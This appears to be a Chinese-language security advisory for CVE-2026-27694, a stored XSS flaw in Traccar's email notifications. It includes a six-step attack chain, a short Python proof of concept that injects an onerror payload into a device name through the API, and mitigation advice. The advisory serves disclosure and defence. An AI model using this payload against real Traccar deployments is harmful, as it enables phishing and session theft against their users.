IPBUF安全漏洞报告
English
CVE-2026-27694 CVSS 5.4 中危

CVE-2026-27694 Traccar存储型XSS漏洞

披露日期: 2026-05-05

漏洞信息

漏洞编号
CVE-2026-27694
漏洞类型
存储型XSS
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Traccar

相关标签

XSSStored XSSTraccarHTML InjectionPhishing

漏洞概述

Traccar是一款开源GPS跟踪系统。在6.11.1至6.13.0版本中,系统在生成邮件通知时,未对用户控制的设备、地理围栏和驱动名称进行HTML转义。低权限攻击者可利用此漏洞在名称字段中注入恶意代码,导致发送给其他用户的邮件中包含被渲染的恶意HTML,进而可能实施网络钓鱼攻击。

技术细节

该漏洞属于存储型跨站脚本攻击(Stored XSS)。Traccar在构建电子邮件通知模板时,直接从数据库读取用户定义的“设备名称”、“地理围栏名称”或“驱动名称”,并将其拼接到HTML邮件模板中,且未进行任何HTML实体编码或上下文相关的转义处理。攻击者只需拥有低权限账户,即可在设备或地理围栏配置界面中,将名称字段修改为包含JavaScript事件(如onerror、onload)或iframe标签的恶意HTML代码。一旦触发特定事件(如设备进入地理围栏),系统会自动发送包含恶意载荷的HTML邮件给管理员或其他用户。由于邮件客户端通常会渲染HTML,受害者查看邮件时即会执行恶意脚本。此漏洞利用了系统通知的信任链,极易被用于窃取Cookie、会话令牌或进行针对性的网络钓鱼攻击。

攻击链分析

STEP 1
步骤1:获取访问权限
攻击者注册或通过低权限账户登录Traccar系统。
STEP 2
步骤2:注入恶意载荷
攻击者编辑设备、地理围栏或驱动名称,将字段值修改为包含JavaScript代码的恶意HTML字符串(如<img src=x onerror=alert(1)>)。
STEP 3
步骤3:存储载荷
系统将未经过滤的恶意名称存储在数据库中。
STEP 4
步骤4:触发通知
系统发生特定事件(如设备移动、报警),触发邮件通知逻辑。
STEP 5
步骤5:发送恶意邮件
系统生成HTML邮件,将存储的恶意名称直接插入邮件正文,并发送给管理员或其他相关用户。
STEP 6
步骤6:执行攻击
受害者打开邮件,邮件客户端渲染HTML并执行其中的JavaScript脚本,导致敏感信息泄露或界面被篡改。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration TARGET_URL = "http://localhost:8082/api/devices" USER_TOKEN = "<LOW_PRIVILEGE_USER_TOKEN>" DEVICE_ID = 1 # Malicious Payload: Stored XSS via device name # This payload attempts to execute JavaScript when the email is rendered xss_payload = '<img src=x onerror=alert(\'XSS-CVE-2026-27694\')>' headers = { "Authorization": f"Bearer {USER_TOKEN}", "Content-Type": "application/json" } # Data to update device name with malicious payload payload_data = { "id": DEVICE_ID, "name": xss_payload, "groupId": 0, "category": "default" } try: # Send request to update device name response = requests.put(f"{TARGET_URL}/{DEVICE_ID}", json=payload_data, headers=headers) if response.status_code == 200: print("[+] Payload injected successfully.") print("[+] Trigger an event (e.g., geofence entry) to send the notification email.") print("[+] Check the email client for the alert popup.") else: print(f"[-] Failed to inject payload. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

Traccar >= 6.11.1, < 6.13.0

防御指南

临时缓解措施
如果无法立即升级,管理员应严格限制普通用户对设备、地理围栏等对象的重命名权限。同时,建议用户在邮件客户端中禁用JavaScript执行,并提高对系统通知邮件中可疑链接或内容的警惕。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表